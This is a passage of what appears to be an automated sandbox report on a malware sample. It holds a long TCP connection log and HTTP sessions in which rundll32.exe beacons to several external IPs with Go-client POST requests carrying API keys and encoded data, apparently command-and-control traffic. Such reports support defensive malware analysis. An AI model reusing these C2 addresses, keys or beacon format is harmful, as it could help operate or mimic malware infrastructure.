Jul 16, 2024 10:03:04.690154076 CEST	80	49777	77.238.229.63	192.168.2.4
Jul 16, 2024 10:03:04.690227985 CEST	49777	80	192.168.2.4	77.238.229.63
Jul 16, 2024 10:03:04.756715059 CEST	49777	80	192.168.2.4	77.238.229.63
Jul 16, 2024 10:03:04.762515068 CEST	80	49777	77.238.229.63	192.168.2.4
Jul 16, 2024 10:03:06.286869049 CEST	80	49777	77.238.229.63	192.168.2.4
Jul 16, 2024 10:03:06.286955118 CEST	49777	80	192.168.2.4	77.238.229.63
Jul 16, 2024 10:03:06.287040949 CEST	49777	80	192.168.2.4	77.238.229.63
Jul 16, 2024 10:03:06.288068056 CEST	49778	80	192.168.2.4	77.238.250.123
Jul 16, 2024 10:03:06.292592049 CEST	80	49777	77.238.229.63	192.168.2.4
Jul 16, 2024 10:03:06.293308973 CEST	80	49778	77.238.250.123	192.168.2.4
Jul 16, 2024 10:03:06.293514967 CEST	49778	80	192.168.2.4	77.238.250.123
Jul 16, 2024 10:03:06.293637991 CEST	49778	80	192.168.2.4	77.238.250.123
Jul 16, 2024 10:03:06.298948050 CEST	80	49778	77.238.250.123	192.168.2.4
Jul 16, 2024 10:03:06.926261902 CEST	80	49778	77.238.250.123	192.168.2.4
Jul 16, 2024 10:03:06.926642895 CEST	49778	80	192.168.2.4	77.238.250.123
Jul 16, 2024 10:03:06.933408022 CEST	80	49778	77.238.250.123	192.168.2.4
Jul 16, 2024 10:03:06.933605909 CEST	49778	80	192.168.2.4	77.238.250.123
Jul 16, 2024 10:03:07.240888119 CEST	49779	80	192.168.2.4	195.2.70.38
Jul 16, 2024 10:03:07.246495008 CEST	80	49779	195.2.70.38	192.168.2.4
Jul 16, 2024 10:03:07.246828079 CEST	49779	80	192.168.2.4	195.2.70.38
Jul 16, 2024 10:03:07.246994019 CEST	49779	80	192.168.2.4	195.2.70.38
Jul 16, 2024 10:03:07.253386021 CEST	80	49779	195.2.70.38	192.168.2.4
Jul 16, 2024 10:03:09.034460068 CEST	80	49779	195.2.70.38	192.168.2.4
Jul 16, 2024 10:03:09.034667015 CEST	49779	80	192.168.2.4	195.2.70.38
Jul 16, 2024 10:03:09.034667015 CEST	49779	80	192.168.2.4	195.2.70.38
Jul 16, 2024 10:03:09.035489082 CEST	49780	80	192.168.2.4	91.142.74.28
Jul 16, 2024 10:03:09.044267893 CEST	80	49779	195.2.70.38	192.168.2.4
Jul 16, 2024 10:03:09.044913054 CEST	80	49780	91.142.74.28	192.168.2.4
Jul 16, 2024 10:03:09.045129061 CEST	49780	80	192.168.2.4	91.142.74.28
Jul 16, 2024 10:03:09.045337915 CEST	49780	80	192.168.2.4	91.142.74.28
Jul 16, 2024 10:03:09.051198006 CEST	80	49780	91.142.74.28	192.168.2.4
Jul 16, 2024 10:03:10.779879093 CEST	80	49780	91.142.74.28	192.168.2.4
Jul 16, 2024 10:03:10.780282021 CEST	49780	80	192.168.2.4	91.142.74.28
Jul 16, 2024 10:03:10.780404091 CEST	49780	80	192.168.2.4	91.142.74.28
Jul 16, 2024 10:03:10.781539917 CEST	49781	80	192.168.2.4	77.238.224.56
Jul 16, 2024 10:03:10.785757065 CEST	80	49780	91.142.74.28	192.168.2.4
Jul 16, 2024 10:03:10.786478996 CEST	80	49781	77.238.224.56	192.168.2.4
Jul 16, 2024 10:03:10.786678076 CEST	49781	80	192.168.2.4	77.238.224.56
Jul 16, 2024 10:03:10.787168980 CEST	49781	80	192.168.2.4	77.238.224.56
Jul 16, 2024 10:03:10.792268991 CEST	80	49781	77.238.224.56	192.168.2.4
Jul 16, 2024 10:03:12.408868074 CEST	80	49781	77.238.224.56	192.168.2.4
Jul 16, 2024 10:03:12.409162998 CEST	49781	80	192.168.2.4	77.238.224.56
Jul 16, 2024 10:03:12.409162998 CEST	49781	80	192.168.2.4	77.238.224.56
Jul 16, 2024 10:03:12.410166979 CEST	49782	80	192.168.2.4	77.238.229.63
Jul 16, 2024 10:03:12.414132118 CEST	80	49781	77.238.224.56	192.168.2.4
Jul 16, 2024 10:03:12.415190935 CEST	80	49782	77.238.229.63	192.168.2.4
Jul 16, 2024 10:03:12.415411949 CEST	49782	80	192.168.2.4	77.238.229.63
Jul 16, 2024 10:03:12.416049957 CEST	49782	80	192.168.2.4	77.238.229.63
Jul 16, 2024 10:03:12.421070099 CEST	80	49782	77.238.229.63	192.168.2.4
Jul 16, 2024 10:03:14.050295115 CEST	80	49782	77.238.229.63	192.168.2.4
Jul 16, 2024 10:03:14.050614119 CEST	49782	80	192.168.2.4	77.238.229.63
Jul 16, 2024 10:03:14.050615072 CEST	49782	80	192.168.2.4	77.238.229.63
Jul 16, 2024 10:03:14.051733017 CEST	49783	80	192.168.2.4	77.238.250.123
Jul 16, 2024 10:03:14.055705070 CEST	80	49782	77.238.229.63	192.168.2.4
Jul 16, 2024 10:03:14.056612968 CEST	80	49783	77.238.250.123	192.168.2.4
Jul 16, 2024 10:03:14.056819916 CEST	49783	80	192.168.2.4	77.238.250.123
Jul 16, 2024 10:03:14.057010889 CEST	49783	80	192.168.2.4	77.238.250.123
Jul 16, 2024 10:03:14.062055111 CEST	80	49783	77.238.250.123	192.168.2.4
Jul 16, 2024 10:03:15.629730940 CEST	80	49783	77.238.250.123	192.168.2.4
Jul 16, 2024 10:03:15.637495041 CEST	49784	15497	192.168.2.4	62.113.116.83
Jul 16, 2024 10:03:15.642608881 CEST	15497	49784	62.113.116.83	192.168.2.4
Jul 16, 2024 10:03:15.642704010 CEST	49784	15497	192.168.2.4	62.113.116.83
Jul 16, 2024 10:03:15.674750090 CEST	49783	80	192.168.2.4	77.238.250.123
Jul 16, 2024 10:03:16.262516022 CEST	15497	49784	62.113.116.83	192.168.2.4
Jul 16, 2024 10:03:16.262914896 CEST	49784	15497	192.168.2.4	62.113.116.83
Jul 16, 2024 10:03:16.271042109 CEST	15497	49784	62.113.116.83	192.168.2.4
Jul 16, 2024 10:03:31.280045033 CEST	49784	15497	192.168.2.4	62.113.116.83
Jul 16, 2024 10:03:31.285604954 CEST	15497	49784	62.113.116.83	192.168.2.4
Jul 16, 2024 10:03:34.698014021 CEST	49785	80	192.168.2.4	195.2.70.38
Jul 16, 2024 10:03:34.703449011 CEST	80	49785	195.2.70.38	192.168.2.4
Jul 16, 2024 10:03:34.703550100 CEST	49785	80	192.168.2.4	195.2.70.38
Jul 16, 2024 10:03:34.705966949 CEST	49785	80	192.168.2.4	195.2.70.38
Jul 16, 2024 10:03:34.715585947 CEST	80	49785	195.2.70.38	192.168.2.4
Jul 16, 2024 10:03:36.352015972 CEST	15497	49784	62.113.116.83	192.168.2.4
Jul 16, 2024 10:03:36.352289915 CEST	49784	15497	192.168.2.4	62.113.116.83
Jul 16, 2024 10:03:36.357793093 CEST	15497	49784	62.113.116.83	192.168.2.4
Jul 16, 2024 10:03:36.444418907 CEST	80	49785	195.2.70.38	192.168.2.4
Jul 16, 2024 10:03:36.444690943 CEST	49785	80	192.168.2.4	195.2.70.38
Jul 16, 2024 10:03:36.444822073 CEST	49785	80	192.168.2.4	195.2.70.38
Jul 16, 2024 10:03:36.447294950 CEST	49786	80	192.168.2.4	91.142.74.28
Jul 16, 2024 10:03:36.450264931 CEST	80	49785	195.2.70.38	192.168.2.4
Jul 16, 2024 10:03:36.458507061 CEST	80	49786	91.142.74.28	192.168.2.4
Jul 16, 2024 10:03:36.458731890 CEST	49786	80	192.168.2.4	91.142.74.28
Jul 16, 2024 10:03:36.459233046 CEST	49786	80	192.168.2.4	91.142.74.28
Jul 16, 2024 10:03:36.464261055 CEST	80	49786	91.142.74.28	192.168.2.4
Jul 16, 2024 10:03:36.930525064 CEST	49787	80	192.168.2.4	195.2.70.38
Jul 16, 2024 10:03:36.935962915 CEST	80	49787	195.2.70.38	192.168.2.4
Jul 16, 2024 10:03:36.936177015 CEST	49787	80	192.168.2.4	195.2.70.38
Jul 16, 2024 10:03:36.939614058 CEST	49787	80	192.168.2.4	195.2.70.38
Jul 16, 2024 10:03:36.944931984 CEST	80	49787	195.2.70.38	192.168.2.4
Jul 16, 2024 10:03:38.662205935 CEST	80	49786	91.142.74.28	192.168.2.4
Jul 16, 2024 10:03:38.662250996 CEST	80	49786	91.142.74.28	192.168.2.4
Jul 16, 2024 10:03:38.662281036 CEST	80	49786	91.142.74.28	192.168.2.4
Jul 16, 2024 10:03:38.662342072 CEST	49786	80	192.168.2.4	91.142.74.28
Jul 16, 2024 10:03:38.662491083 CEST	49786	80	192.168.2.4	91.142.74.28
Jul 16, 2024 10:03:38.662492037 CEST	49786	80	192.168.2.4	91.142.74.28
Jul 16, 2024 10:03:38.662492037 CEST	49786	80	192.168.2.4	91.142.74.28
Jul 16, 2024 10:03:38.663578033 CEST	49788	80	192.168.2.4	77.238.224.56
Jul 16, 2024 10:03:38.667691946 CEST	80	49786	91.142.74.28	192.168.2.4
Jul 16, 2024 10:03:38.668596029 CEST	80	49788	77.238.224.56	192.168.2.4
Jul 16, 2024 10:03:38.668864012 CEST	49788	80	192.168.2.4	77.238.224.56
Jul 16, 2024 10:03:38.673998117 CEST	49788	80	192.168.2.4	77.238.224.56
Jul 16, 2024 10:03:38.679243088 CEST	80	49788	77.238.224.56	192.168.2.4
Jul 16, 2024 10:03:38.701450109 CEST	80	49787	195.2.70.38	192.168.2.4
Jul 16, 2024 10:03:38.701678038 CEST	49787	80	192.168.2.4	195.2.70.38
Jul 16, 2024 10:03:38.701678991 CEST	49787	80	192.168.2.4	195.2.70.38
Jul 16, 2024 10:03:38.702740908 CEST	49789	80	192.168.2.4	91.142.74.28
Jul 16, 2024 10:03:38.706835985 CEST	80	49787	195.2.70.38	192.168.2.4
Jul 16, 2024 10:03:38.707727909 CEST	80	49789	91.142.74.28	192.168.2.4
Jul 16, 2024 10:03:38.707942009 CEST	49789	80	192.168.2.4	91.142.74.28
Jul 16, 2024 10:03:38.708452940 CEST	49789	80	192.168.2.4	91.142.74.28
Jul 16, 2024 10:03:38.713570118 CEST	80	49789	91.142.74.28	192.168.2.4
Jul 16, 2024 10:03:40.264448881 CEST	80	49788	77.238.224.56	192.168.2.4
Jul 16, 2024 10:03:40.264576912 CEST	49788	80	192.168.2.4	77.238.224.56
Jul 16, 2024 10:03:40.264945984 CEST	49788	80	192.168.2.4	77.238.224.56
Jul 16, 2024 10:03:40.266906977 CEST	49790	80	192.168.2.4	77.238.229.63
Jul 16, 2024 10:03:40.270014048 CEST	80	49788	77.238.224.56	192.168.2.4
Jul 16, 2024 10:03:40.271713972 CEST	80	49790	77.238.229.63	192.168.2.4
Jul 16, 2024 10:03:40.271819115 CEST	49790	80	192.168.2.4	77.238.229.63
Jul 16, 2024 10:03:40.274609089 CEST	49790	80	192.168.2.4	77.238.229.63
Jul 16, 2024 10:03:40.279509068 CEST	80	49790	77.238.229.63	192.168.2.4
Jul 16, 2024 10:03:40.435663939 CEST	80	49789	91.142.74.28	192.168.2.4
Jul 16, 2024 10:03:40.435995102 CEST	49789	80	192.168.2.4	91.142.74.28
Jul 16, 2024 10:03:40.437661886 CEST	49789	80	192.168.2.4	91.142.74.28
Jul 16, 2024 10:03:40.438683987 CEST	49791	80	192.168.2.4	77.238.224.56
Jul 16, 2024 10:03:40.443197012 CEST	80	49789	91.142.74.28	192.168.2.4
Jul 16, 2024 10:03:40.443903923 CEST	80	49791	77.238.224.56	192.168.2.4
Jul 16, 2024 10:03:40.444020033 CEST	49791	80	192.168.2.4	77.238.224.56
Jul 16, 2024 10:03:40.444434881 CEST	49791	80	192.168.2.4	77.238.224.56
Jul 16, 2024 10:03:40.450047016 CEST	80	49791	77.238.224.56	192.168.2.4
Jul 16, 2024 10:03:41.893944025 CEST	80	49790	77.238.229.63	192.168.2.4
Jul 16, 2024 10:03:41.894066095 CEST	49790	80	192.168.2.4	77.238.229.63
Jul 16, 2024 10:03:41.894247055 CEST	49790	80	192.168.2.4	77.238.229.63
Jul 16, 2024 10:03:41.896357059 CEST	49792	80	192.168.2.4	77.238.250.123
Jul 16, 2024 10:03:41.899203062 CEST	80	49790	77.238.229.63	192.168.2.4
Jul 16, 2024 10:03:41.901607990 CEST	80	49792	77.238.250.123	192.168.2.4
Jul 16, 2024 10:03:41.901732922 CEST	49792	80	192.168.2.4	77.238.250.123
Jul 16, 2024 10:03:41.902502060 CEST	49792	80	192.168.2.4	77.238.250.123
Jul 16, 2024 10:03:41.908143044 CEST	80	49792	77.238.250.123	192.168.2.4
Jul 16, 2024 10:03:42.067593098 CEST	80	49791	77.238.224.56	192.168.2.4
Jul 16, 2024 10:03:42.067795992 CEST	49791	80	192.168.2.4	77.238.224.56
Jul 16, 2024 10:03:42.067795992 CEST	49791	80	192.168.2.4	77.238.224.56
Jul 16, 2024 10:03:42.068998098 CEST	49793	80	192.168.2.4	77.238.229.63
Jul 16, 2024 10:03:42.072957993 CEST	80	49791	77.238.224.56	192.168.2.4
Jul 16, 2024 10:03:42.074331999 CEST	80	49793	77.238.229.63	192.168.2.4
Jul 16, 2024 10:03:42.074556112 CEST	49793	80	192.168.2.4	77.238.229.63
Jul 16, 2024 10:03:42.074990034 CEST	49793	80	192.168.2.4	77.238.229.63
Jul 16, 2024 10:03:42.079962015 CEST	80	49793	77.238.229.63	192.168.2.4
Jul 16, 2024 10:03:42.926209927 CEST	80	49792	77.238.250.123	192.168.2.4
Jul 16, 2024 10:03:42.926743031 CEST	49792	80	192.168.2.4	77.238.250.123
Jul 16, 2024 10:03:42.932595968 CEST	80	49792	77.238.250.123	192.168.2.4
Jul 16, 2024 10:03:42.932832956 CEST	49792	80	192.168.2.4	77.238.250.123
Jul 16, 2024 10:03:43.740930080 CEST	80	49793	77.238.229.63	192.168.2.4
Jul 16, 2024 10:03:43.741066933 CEST	49793	80	192.168.2.4	77.238.229.63
Jul 16, 2024 10:03:43.741158009 CEST	49793	80	192.168.2.4	77.238.229.63
Jul 16, 2024 10:03:43.742225885 CEST	49794	80	192.168.2.4	77.238.250.123
Jul 16, 2024 10:03:43.746762991 CEST	80	49793	77.238.229.63	192.168.2.4
Jul 16, 2024 10:03:43.747037888 CEST	80	49794	77.238.250.123	192.168.2.4
Jul 16, 2024 10:03:43.747107983 CEST	49794	80	192.168.2.4	77.238.250.123
Jul 16, 2024 10:03:43.747891903 CEST	49794	80	192.168.2.4	77.238.250.123
Jul 16, 2024 10:03:43.753122091 CEST	80	49794	77.238.250.123	192.168.2.4
Jul 16, 2024 10:03:44.702697992 CEST	80	49794	77.238.250.123	192.168.2.4
Jul 16, 2024 10:03:44.703248024 CEST	49794	80	192.168.2.4	77.238.250.123
Jul 16, 2024 10:03:44.710120916 CEST	80	49794	77.238.250.123	192.168.2.4
Jul 16, 2024 10:03:44.710201025 CEST	49794	80	192.168.2.4	77.238.250.123
Jul 16, 2024 10:03:45.641452074 CEST	49783	80	192.168.2.4	77.238.250.123
Jul 16, 2024 10:03:45.641757011 CEST	49784	15497	192.168.2.4	62.113.116.83
Jul 16, 2024 10:03:45.646843910 CEST	80	49783	77.238.250.123	192.168.2.4
Jul 16, 2024 10:03:45.646914005 CEST	15497	49784	62.113.116.83	192.168.2.4
Jul 16, 2024 10:03:45.855581999 CEST	15497	49784	62.113.116.83	192.168.2.4
Jul 16, 2024 10:03:45.903496027 CEST	49784	15497	192.168.2.4	62.113.116.83
Jul 16, 2024 10:03:56.568188906 CEST	15497	49784	62.113.116.83	192.168.2.4
Jul 16, 2024 10:03:56.568543911 CEST	49784	15497	192.168.2.4	62.113.116.83
Jul 16, 2024 10:03:56.573987007 CEST	15497	49784	62.113.116.83	192.168.2.4
Jul 16, 2024 10:04:11.584753036 CEST	49784	15497	192.168.2.4	62.113.116.83
Jul 16, 2024 10:04:11.590595961 CEST	15497	49784	62.113.116.83	192.168.2.4
Jul 16, 2024 10:04:12.929431915 CEST	49795	80	192.168.2.4	195.2.70.38
Jul 16, 2024 10:04:12.938882113 CEST	80	49795	195.2.70.38	192.168.2.4
Jul 16, 2024 10:04:12.938988924 CEST	49795	80	192.168.2.4	195.2.70.38
Jul 16, 2024 10:04:12.939256907 CEST	49795	80	192.168.2.4	195.2.70.38
Jul 16, 2024 10:04:12.944766045 CEST	80	49795	195.2.70.38	192.168.2.4
Jul 16, 2024 10:04:14.670629978 CEST	80	49795	195.2.70.38	192.168.2.4
Jul 16, 2024 10:04:14.670722961 CEST	49795	80	192.168.2.4	195.2.70.38
Jul 16, 2024 10:04:14.670799017 CEST	49795	80	192.168.2.4	195.2.70.38
Jul 16, 2024 10:04:14.671710968 CEST	49796	80	192.168.2.4	91.142.74.28
Jul 16, 2024 10:04:14.675957918 CEST	80	49795	195.2.70.38	192.168.2.4
Jul 16, 2024 10:04:14.676889896 CEST	80	49796	91.142.74.28	192.168.2.4
Jul 16, 2024 10:04:14.677084923 CEST	49796	80	192.168.2.4	91.142.74.28
Jul 16, 2024 10:04:14.677462101 CEST	49796	80	192.168.2.4	91.142.74.28
Jul 16, 2024 10:04:14.682713985 CEST	80	49796	91.142.74.28	192.168.2.4
Jul 16, 2024 10:04:14.714502096 CEST	49797	80	192.168.2.4	195.2.70.38
Jul 16, 2024 10:04:14.719743013 CEST	80	49797	195.2.70.38	192.168.2.4
Jul 16, 2024 10:04:14.719818115 CEST	49797	80	192.168.2.4	195.2.70.38
Jul 16, 2024 10:04:14.720107079 CEST	49797	80	192.168.2.4	195.2.70.38
Jul 16, 2024 10:04:14.725188971 CEST	80	49797	195.2.70.38	192.168.2.4
Jul 16, 2024 10:04:15.658252001 CEST	49783	80	192.168.2.4	77.238.250.123
Jul 16, 2024 10:04:15.696127892 CEST	80	49783	77.238.250.123	192.168.2.4
Jul 16, 2024 10:04:15.845782042 CEST	49784	15497	192.168.2.4	62.113.116.83
Jul 16, 2024 10:04:15.851475954 CEST	15497	49784	62.113.116.83	192.168.2.4
Jul 16, 2024 10:04:16.060323000 CEST	15497	49784	62.113.116.83	192.168.2.4
Jul 16, 2024 10:04:16.108371019 CEST	49784	15497	192.168.2.4	62.113.116.83
Jul 16, 2024 10:04:16.760721922 CEST	80	49796	91.142.74.28	192.168.2.4
Jul 16, 2024 10:04:16.760837078 CEST	49796	80	192.168.2.4	91.142.74.28
Jul 16, 2024 10:04:16.760921001 CEST	49796	80	192.168.2.4	91.142.74.28
Jul 16, 2024 10:04:16.761049032 CEST	80	49797	195.2.70.38	192.168.2.4
Jul 16, 2024 10:04:16.761116028 CEST	49797	80	192.168.2.4	195.2.70.38
Jul 16, 2024 10:04:16.761194944 CEST	49797	80	192.168.2.4	195.2.70.38
Jul 16, 2024 10:04:16.761396885 CEST	80	49796	91.142.74.28	192.168.2.4
Jul 16, 2024 10:04:16.761411905 CEST	80	49797	195.2.70.38	192.168.2.4
Jul 16, 2024 10:04:16.761588097 CEST	49796	80	192.168.2.4	91.142.74.28
Jul 16, 2024 10:04:16.761914015 CEST	49798	80	192.168.2.4	91.142.74.28
Jul 16, 2024 10:04:16.761914015 CEST	49797	80	192.168.2.4	195.2.70.38
Jul 16, 2024 10:04:16.762123108 CEST	49799	80	192.168.2.4	77.238.224.56
Jul 16, 2024 10:04:16.766201019 CEST	80	49796	91.142.74.28	192.168.2.4
Jul 16, 2024 10:04:16.766222000 CEST	80	49797	195.2.70.38	192.168.2.4
Jul 16, 2024 10:04:16.766885996 CEST	80	49798	91.142.74.28	192.168.2.4
Jul 16, 2024 10:04:16.766932011 CEST	80	49799	77.238.224.56	192.168.2.4
Jul 16, 2024 10:04:16.766957998 CEST	49798	80	192.168.2.4	91.142.74.28
Jul 16, 2024 10:04:16.766990900 CEST	49799	80	192.168.2.4	77.238.224.56
Jul 16, 2024 10:04:16.767389059 CEST	49799	80	192.168.2.4	77.238.224.56
Jul 16, 2024 10:04:16.767445087 CEST	49798	80	192.168.2.4	91.142.74.28
Jul 16, 2024 10:04:16.772393942 CEST	80	49799	77.238.224.56	192.168.2.4
Jul 16, 2024 10:04:16.772416115 CEST	80	49798	91.142.74.28	192.168.2.4
Jul 16, 2024 10:04:16.783452988 CEST	15497	49784	62.113.116.83	192.168.2.4
Jul 16, 2024 10:04:16.783624887 CEST	49784	15497	192.168.2.4	62.113.116.83
Jul 16, 2024 10:04:16.788777113 CEST	15497	49784	62.113.116.83	192.168.2.4
Jul 16, 2024 10:04:18.360943079 CEST	80	49799	77.238.224.56	192.168.2.4
Jul 16, 2024 10:04:18.361224890 CEST	49799	80	192.168.2.4	77.238.224.56
Jul 16, 2024 10:04:18.361507893 CEST	49799	80	192.168.2.4	77.238.224.56
Jul 16, 2024 10:04:18.364093065 CEST	49800	80	192.168.2.4	77.238.229.63
Jul 16, 2024 10:04:18.366741896 CEST	80	49799	77.238.224.56	192.168.2.4
Jul 16, 2024 10:04:18.369534969 CEST	80	49800	77.238.229.63	192.168.2.4
Jul 16, 2024 10:04:18.369687080 CEST	49800	80	192.168.2.4	77.238.229.63
Jul 16, 2024 10:04:18.370490074 CEST	49800	80	192.168.2.4	77.238.229.63
Jul 16, 2024 10:04:18.375822067 CEST	80	49800	77.238.229.63	192.168.2.4
Jul 16, 2024 10:04:18.498687983 CEST	80	49798	91.142.74.28	192.168.2.4
Jul 16, 2024 10:04:18.498766899 CEST	49798	80	192.168.2.4	91.142.74.28
Jul 16, 2024 10:04:18.498881102 CEST	49798	80	192.168.2.4	91.142.74.28
Jul 16, 2024 10:04:18.500917912 CEST	49801	80	192.168.2.4	77.238.224.56
Jul 16, 2024 10:04:18.504107952 CEST	80	49798	91.142.74.28	192.168.2.4
Jul 16, 2024 10:04:18.506411076 CEST	80	49801	77.238.224.56	192.168.2.4
Jul 16, 2024 10:04:18.506659985 CEST	49801	80	192.168.2.4	77.238.224.56
Jul 16, 2024 10:04:18.507242918 CEST	49801	80	192.168.2.4	77.238.224.56
Jul 16, 2024 10:04:18.512397051 CEST	80	49801	77.238.224.56	192.168.2.4
Jul 16, 2024 10:04:19.990245104 CEST	80	49800	77.238.229.63	192.168.2.4
Jul 16, 2024 10:04:19.990592003 CEST	49800	80	192.168.2.4	77.238.229.63
Jul 16, 2024 10:04:19.990592957 CEST	49800	80	192.168.2.4	77.238.229.63
Jul 16, 2024 10:04:19.991735935 CEST	49802	80	192.168.2.4	77.238.250.123
Jul 16, 2024 10:04:19.995956898 CEST	80	49800	77.238.229.63	192.168.2.4
Jul 16, 2024 10:04:19.996961117 CEST	80	49802	77.238.250.123	192.168.2.4
Jul 16, 2024 10:04:19.997178078 CEST	49802	80	192.168.2.4	77.238.250.123
Jul 16, 2024 10:04:19.997365952 CEST	49802	80	192.168.2.4	77.238.250.123
Jul 16, 2024 10:04:20.002402067 CEST	80	49802	77.238.250.123	192.168.2.4
Jul 16, 2024 10:04:20.128314018 CEST	80	49801	77.238.224.56	192.168.2.4
Jul 16, 2024 10:04:20.128556013 CEST	49801	80	192.168.2.4	77.238.224.56
Jul 16, 2024 10:04:20.128556013 CEST	49801	80	192.168.2.4	77.238.224.56
Jul 16, 2024 10:04:20.129213095 CEST	49803	80	192.168.2.4	77.238.229.63
Jul 16, 2024 10:04:20.133893013 CEST	80	49801	77.238.224.56	192.168.2.4
Jul 16, 2024 10:04:20.134609938 CEST	80	49803	77.238.229.63	192.168.2.4
Jul 16, 2024 10:04:20.134844065 CEST	49803	80	192.168.2.4	77.238.229.63
Jul 16, 2024 10:04:20.135036945 CEST	49803	80	192.168.2.4	77.238.229.63
Jul 16, 2024 10:04:20.140260935 CEST	80	49803	77.238.229.63	192.168.2.4
Jul 16, 2024 10:04:20.798605919 CEST	80	49802	77.238.250.123	192.168.2.4
Jul 16, 2024 10:04:20.799087048 CEST	49802	80	192.168.2.4	77.238.250.123
Jul 16, 2024 10:04:20.804815054 CEST	80	49802	77.238.250.123	192.168.2.4
Jul 16, 2024 10:04:20.805042982 CEST	49802	80	192.168.2.4	77.238.250.123
Jul 16, 2024 10:04:21.774506092 CEST	80	49803	77.238.229.63	192.168.2.4
Jul 16, 2024 10:04:21.774830103 CEST	49803	80	192.168.2.4	77.238.229.63
Jul 16, 2024 10:04:21.775199890 CEST	49803	80	192.168.2.4	77.238.229.63
Jul 16, 2024 10:04:21.775876045 CEST	49804	80	192.168.2.4	77.238.250.123
Jul 16, 2024 10:04:21.782771111 CEST	80	49803	77.238.229.63	192.168.2.4
Jul 16, 2024 10:04:21.783364058 CEST	80	49804	77.238.250.123	192.168.2.4
Jul 16, 2024 10:04:21.783627033 CEST	49804	80	192.168.2.4	77.238.250.123
Jul 16, 2024 10:04:21.784920931 CEST	49804	80	192.168.2.4	77.238.250.123
Jul 16, 2024 10:04:21.796348095 CEST	80	49804	77.238.250.123	192.168.2.4
Jul 16, 2024 10:04:22.395380974 CEST	80	49804	77.238.250.123	192.168.2.4
Jul 16, 2024 10:04:22.395900011 CEST	49804	80	192.168.2.4	77.238.250.123
Jul 16, 2024 10:04:22.402051926 CEST	80	49804	77.238.250.123	192.168.2.4
Jul 16, 2024 10:04:22.402266026 CEST	49804	80	192.168.2.4	77.238.250.123
Jul 16, 2024 10:04:31.789226055 CEST	49784	15497	192.168.2.4	62.113.116.83
Jul 16, 2024 10:04:31.794723034 CEST	15497	49784	62.113.116.83	192.168.2.4
Jul 16, 2024 10:04:36.998060942 CEST	15497	49784	62.113.116.83	192.168.2.4
Jul 16, 2024 10:04:36.998307943 CEST	49784	15497	192.168.2.4	62.113.116.83
Jul 16, 2024 10:04:37.005587101 CEST	15497	49784	62.113.116.83	192.168.2.4
Jul 16, 2024 10:04:45.702157974 CEST	49783	80	192.168.2.4	77.238.250.123
Jul 16, 2024 10:04:45.707597017 CEST	80	49783	77.238.250.123	192.168.2.4

HTTP Request Dependency Graph

195.2.70.38

91.142.74.28

77.238.224.56

77.238.229.63

77.238.250.123

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49732	195.2.70.38	80	7036	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Jul 16, 2024 10:01:42.352175951 CEST	293	OUT	POST / HTTP/1.1 Host: 195.2.70.38 User-Agent: Go-http-client/1.1 Content-Length: 158 X-Api-Key: 03Ar0rGG Accept-Encoding: gzip Data Raw: 18 4d 1b 15 0c 15 2a 0b 4c 5c 4b 0a 53 5d 1d 0f 0f 37 19 04 16 57 06 1e 10 20 1d 54 1e 05 19 4d 42 44 19 15 0c 17 17 33 1a 02 11 01 0f 0b 0c 45 59 4d 0d 14 13 5f 50 01 3c 2c 4b 4b 41 1f 1c 09 11 1e 33 0e 1d 15 1e 08 11 0b 4c 5c 4b 1e 12 16 3d 05 10 53 29 4d 42 44 0b 12 0a 03 0a 30 0c 15 10 06 01 08 4b 5d 41 5f 1f 35 11 49 10 5d 16 55 1a 1e 00 4d 42 44 04 03 56 4d 54 44 51 5f 5a 0d 57 5f 0a 52 51 0e 58 56 0d 03 57 56 5c 54 5e 04 56 0a 5a 5e 5c 06 53 5e 58 50 5e 5e 41 12 Data Ascii: M*L\KS]7W TMBD3EYM_P<,KKA3L\K=S)MBD0K]A_5I]UMBDVMTDQ_ZW_RQXVWV\T^VZ^\S^XP^^A

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49733	91.142.74.28	80	7036	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Jul 16, 2024 10:01:44.100970984 CEST	294	OUT	POST / HTTP/1.1 Host: 91.142.74.28 User-Agent: Go-http-client/1.1 Content-Length: 158 X-Api-Key: GI4k1RYU Accept-Encoding: gzip Data Raw: 18 4d 1b 15 0c 15 2a 0b 4c 5c 4b 0a 53 5d 1d 0f 0f 37 19 04 16 57 06 1e 10 20 1d 54 1e 05 19 4d 42 44 19 15 0c 17 17 33 1a 02 11 01 0f 0b 0c 45 59 4d 0d 14 13 5f 50 01 3c 2c 4b 4b 41 1f 1c 09 11 1e 33 0e 1d 15 1e 08 11 0b 4c 5c 4b 1e 12 16 3d 05 10 53 29 4d 42 44 0b 12 0a 03 0a 30 0c 15 10 06 01 08 4b 5d 41 5f 1f 35 11 49 10 5d 16 55 1a 1e 00 4d 42 44 04 03 56 4d 54 44 51 5f 5a 0d 57 5f 0a 52 51 0e 58 56 0d 03 57 56 5c 54 5e 04 56 0a 5a 5e 5c 06 53 5e 58 50 5e 5e 41 12 Data Ascii: M*L\KS]7W TMBD3EYM_P<,KKA3L\K=S)MBD0K]A_5I]UMBDVMTDQ_ZW_RQXVWV\T^VZ^\S^XP^^A

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49734	195.2.70.38	80	7104	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
